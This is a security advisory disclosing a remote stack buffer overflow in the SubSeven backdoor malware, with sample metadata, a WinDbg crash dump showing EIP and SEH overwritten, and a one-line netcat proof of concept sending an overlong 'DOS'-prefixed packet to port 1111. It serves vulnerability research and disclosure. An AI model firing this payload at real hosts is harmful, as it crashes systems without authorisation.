Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/bc7f4c4689f1b8ad395404d1e75c776f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.SubSeven.c Vulnerability: Remote Stack Buffer Overflow Description: The malware listens on TCP port 1111. Third-party attackers who can reach an infected system can send a specially crafted packet prefixed with "DOS". This will trigger a classic stack buffer overflow overwriting ECX, EIP registers and structured exception handler (SEH). Type: PE32 MD5: bc7f4c4689f1b8ad395404d1e75c776f Vuln ID: MVID-2022-0448 Dropped files: (cfvfpgnf.exe) randomly named ASLR: False DEP: False Safe SEH: False Disclosure: 01/05/2022 Memory Dump: (192c.1d7c): Access violation(192c.1d7c): Access violation - code c0000005 (first/second chance not available) - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=773e9d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1600 ebp=000a1620 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 0:000> ecxr *** WARNING: Unable to verify checksum for cfvfpgnf.exe *** ERROR: Module load completed but symbols could not be loaded for cfvfpgnf.exe Couldn't resolve error at 'cxr' 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: +26 41414141 ?? ??? EXCEPTION_RECORD: 0019ee34 -- (.exr 0x19ee34) 0019ee34 -- (.exr 0x19ee34) ExceptionAddress: 41414141 ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 41414141 Attempt to read from address 41414141 PROCESS_NAME: cfvfpgnf.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: +26 41414141 ?? ??? FAILED_INSTRUCTION_ADDRESS: +26 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: MOD_LIST: <ANALYSIS/> CONTEXT: 0019ee84 -- (.cxr 0x19ee84) 0019ee84 -- (.cxr 0x19ee84) eax=00010000 ebx=04163c0c ecx=7673eb0d edx=00000000 esi=005d0a48 edi=04040d17 eip=41414141 esp=0019f2e4 ebp=41414141 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 41414141 ?? ??? Resetting default scope ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 cfvfpgnf.exe+0x0 STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: cfvfpgnf.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD] LAST_CONTROL_TRANSFER: from 41414141 to 41414141 FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_STACKIMMUNE DEFAULT_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE FRAME_ONE_INVALID: 1 STACK_TEXT: 00000000 00000000 cfvfpgnf.exe+0x0 STACK_COMMAND: .cxr 000000000019EE84 ; kb ; ** Pseudo Context ** ; kb SYMBOL_NAME: cfvfpgnf.exe FOLLOWUP_NAME: MachineOwner MODULE_NAME: cfvfpgnf cfvfpgnf IMAGE_NAME: cfvfpgnf.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 FAILURE_BUCKET_ID: STACK_OVERFLOW_STACKIMMUNE_c0000005_cfvfpgnf.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_STACKIMMUNE_BAD_IP_cfvfpgnf.exe Followup: MachineOwner --------- 0:000> !exchain ntdll!ExecuteHandler2+44 (773e9d70) 0019f2e4: 0019f2e4: 41414141 41414141 Invalid exception stack at 41414141 Invalid exception stack at 41414141 Exploit/PoC: python -c "print('DOS'+'A'*804)" | nc64.exe x.x.x.x 1111 connected. 23:37 - January 4, 2022, Tuesday, ver: Legends 2.1 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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